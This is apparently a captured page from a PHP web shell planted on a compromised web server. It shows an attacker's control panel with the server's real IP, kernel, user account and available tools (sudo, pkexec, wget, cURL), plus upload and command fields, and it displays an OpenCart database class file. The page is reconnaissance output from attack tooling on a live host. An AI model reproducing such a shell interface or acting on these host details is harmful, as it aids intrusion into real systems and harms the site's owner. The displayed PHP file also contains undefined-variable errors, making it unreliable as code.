SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.145.108.87
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/phplib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www/phplib/db.php
<?php
/**
 * @package		OpenCart
 * @author		Daniel Kerr
 * @copyright	Copyright (c) 2005 - 2017, OpenCart, Ltd. (https://www.opencart.com/)
 * @license		https://opensource.org/licenses/GPL-3.0
 * @link		https://www.opencart.com
*/

/**
* DB class
*/
class DB {
	private $adaptor;

	/**
	 * Constructor
	 *
	 * @param	string	$adaptor
	 * @param	string	$hostname
	 * @param	string	$username
     * @param	string	$password
	 * @param	string	$database
	 * @param	int		$port
	 *
 	*/
	var $host = ''; 
	var $user = ''; 
	var $password = ''; 
	var $database = ''; 
	var $persistent = false; 
	var $conn = NULL; 
	var $result = false; 
	var $error_reporting = false;

	//var $port = false;

	public function __construct($dbhost, $dbuser, $dbpass, $dbname, $port = NULL) {
     
		$this->host = $dbhost; 
		$this->user = $dbuser; 
		$this->password =$dbpass; 
		$this->database = $dbname; 
		$this->persistent = $persistent; 
		$this->error_reporting = $error_reporting; 

		$class = 'DB\\mysqli'; 
		if (class_exists($class)) { 
			$this->adaptor = new $class($dbhost, $dbuser, $dbpass, $dbname, $port);
		} else {
			throw new \Exception('Error: Could not load database adaptor ' . $adaptor . '!');
		}
	}

	/**
     * 
     *
     * @param	string	$sql
	 * 
	 * @return	array
     */
	public function query($sql) {
		return $this->adaptor->query($sql);
	}

	public function get_results($sql) {
		return $this->adaptor->get_results($sql);
	}
	
	public function get_row($sql) {
		return $this->adaptor->get_row($sql);
	}

	/**
     * 
     *
     * @param	string	$value
	 * 
	 * @return	string
     */
	public function escape($value) {
		return $this->adaptor->escape($value);
	}

	/**
     * 
	 * 
	 * @return	int
     */
	public function countAffected() {
		return $this->adaptor->countAffected();
	}

	/**
     * 
	 * 
	 * @return	int
     */
	public function getLastId() {
		return $this->adaptor->getLastId();
	}
	
	/**
     * 
	 * 
	 * @return	bool
     */	
	public function connected() {
		return $this->adaptor->connected();
	}
}

Anon7 - 2022
SCDN GOK